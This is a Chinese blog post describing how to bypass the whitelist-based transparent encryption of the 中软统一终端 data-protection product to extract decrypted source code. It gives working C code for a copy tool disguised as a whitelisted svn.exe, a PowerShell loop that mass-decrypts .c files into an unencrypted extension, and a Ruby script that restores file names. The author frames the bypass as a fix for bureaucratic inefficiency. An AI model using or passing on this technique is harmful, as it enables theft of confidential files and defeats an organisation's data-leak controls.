背景不提,通过搜索能看到这篇文章的,请彼此保持同情。

中软统一终端这个软件通过网内文件加密存储,使用时自解密,保证一个局部网络的资料安全性,防止泄漏,主要用于密级文档、源代码和工程图纸的管控。

听起来很高大上,但是在文件加密解密这条策略链上,漏洞是很多的,在具体部署上,漏洞就更多了。下面介绍一下如何利用策略漏洞解密被加密的文件,这里主要针对源代码,其他文档类似。

首先讲一下中软终端的文件加密解密过程。

加密解密过程

安装统一终端后,如果有加密策略部署,程序后台会扫描所有文件,判断文件后缀名或文件类型是否与策略一致来进行加密操作。

策略中通常会有针对加密文件类型相关软件的白名单,在这个名单中的程序,去处理加密的文件时,会透明地读取到解密后的文件,然后再保存该类型的文件时,文件又自动被加密了。如果白名单程序新生成该类型文件,那么文件保存时会自动被加密。

白名单程序的存在是为了保证日常操作,否则都不能用了岂不是因噎废食。

当某类文件被白名单程序读取时,中软终端会自动把加密的文件解密,然后提供给程序。中软是通过文件驱动来实现了这一中间人角色,来桥接加密文件和程序,对于非白名单程序则不提供解密,这样打开就会乱码报错。

策略的漏洞

这一套“透明地”加密解密的确很不错,但是停下想一想,尤其想一想互联网安全相关的实例,是不是有什么漏洞可破?

互联网安全相关通常都是这个问题:Can I trust you?

白名单是策略的关键,一个程序加入其中就表示对其可信,程序可以读取被加密的文件,这时候鉴权就很重要了。我们来根据实际来分析一下可能的鉴权策略:

  1. 最简单的,根据进程名来判定程序是否归属白名单中。这个方法最简单,也最灵活,部署也很方便,但是,只根据进程名会不会不大可靠?

  2. 进阶一点的,根据程序文件 Hash。在部署策略时,将可执行程序文件的 Hash 也加入其中,只有 Hash 匹配才认定程序是归属白名单中。这个是一个不错的方法,但是维护就很麻烦,因为很多程序经常会升级,这时候文件变了 Hash 也变了,策略就不得不更新,而对于一些离线机器得不到策略更新就更悲剧了。

  3. 在2的基础上,继续完善,使用程序数字签名验证。程序文件的 Hash 会变,但是经过数字签名那么就可以认定这的确是谁谁谁家的程序。这个方法在终端中应该是被用到的,但肯定不是全部,毕竟只有大公司软件产品才会进行数字签名,比如 word/ppt/excel,可执行程序都是签名过的。而在软件开发中,有相当多开源工具是不可能进行签名的。

通过上述分析,可以猜测中软终端使用了方法1和3,而方法1只根据进程名判定是一个可以被利用的漏洞,我们可以编写克隆程序来读取加密文件。

读取这边解决了,还需要考虑输出这环节。白名单程序保存文件时会进行加密,但是并不会加密所有文件。因为工具也可能用来处理不重要的事情,或者其他必须不能加密的地方,比如编译代码最终生成可执行程序,可执行程序不能被加密。而这部分通常是根据文件后缀名来判断是否需要被加密的。

所以我们写一个与白名单中同名的程序,读取文件内容并输出到一个不会被加密的格式即可。

例子代码

因为依赖程序进程名,所以用脚本在这里不合适,最简单可以用 C,一个简单的文件拷贝就可以

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>

int main(int argc, const char *argv[])
{
    FILE *fp;
    FILE *nfp;
    char buf[512];
    unsigned long read;

    if(argc != 2) {
        fputs("Invalid args count!\n", stderr);
        exit(1);
    }

    fp = fopen(argv[1], "rb");
    snprintf(buf, sizeof(buf), "%s.xxx", argv[1]);
    nfp = fopen(buf, "wb");

    if(fp == NULL) {
        fputs("File not exists!\n", stderr);
        exit(1);
    }
    if(nfp == NULL) {
        fputs("Can't create file!\n", stderr);
        exit(1);
    }

    while((read = fread(buf, 1, sizeof(buf), fp)) != 0) {
        fwrite(buf, 1, read, nfp);
    }

    fclose(fp);
    fclose(nfp);

    return 0;
}

这个程序接收一个参数,参数为文件名,然后输出一个源文件的拷贝,命名为原文件名 + “.xxx”,这里 “.xxx” 可以选别的易于识别而且不会被加密的就行。

然后根据我们要解密的文件类型(这里以源代码为例),我们可以知道白名单程序中会有哪些程序,比如 IDE 中的 Visual Studio(devenv.exe), Android Studio(androidstudio.exe),代码管理程序的 SVN(svn.exe),等等。

这里以 SVN 作为例子,我们编译程序 gcc -o svn xxx.c,然后就生成了 svn.exe 程序。

在一台安装了统一终端并启用加密的机器上,拷贝 svn.exe 到被加密代码的根目录。现在我们需要批量来解密我们需要的文件。

用 Shift + 右键打开目录的命令行,然后输入 powershell 进入 PowerShell 执行环境,然后输入如下代码

1
foreach($i in Get-ChildItem -Recurse -Include *.c) { .\svn $i.FullName }

该代码表示遍历目录下所有(包括子目录,子子目录)以 .c 结尾的文件,然后对其执行 svn,也就是我们写的 svn.exe 程序,FullName 表示使用绝对路径。

该代码只是解密了所有 C 文件,如果需要解密其他文件,则需要再次输入并修改后缀名即可。

PS: 因为 Windows 对于 Powershell 脚本的安全限制,这里并不能写入脚本中用 Powershell 执行,必须手动输入执行。

最后,我们需要把解密的文件的文件名复原,这里使用脚本语言就比较容易了,例如 Ruby, 写一个 rename.rb 放根目录然后执行即可:

1
2
3
Dir.glob("**/*.xxx") do |fname|
  File.rename(fname, fname.chomp(".xxx"))
end

结束

找出这种漏洞并不是有意为之,而是某些时候这样做反而效率干脆,臃肿的官僚管理和流程太折磨人了,本来这个系统被利用多数也是懒政造就,系统本身带来的负面影响已经盖过了积极意义。机器运行缓慢,加密导致的奇怪问题,开发部署环境不一致的 bug 等等等,而这其中,这个系统部署和维护不够专业及时也加重了消耗。

多点真诚,少点套路。机械依赖工具而不改变思维通常都是徒劳。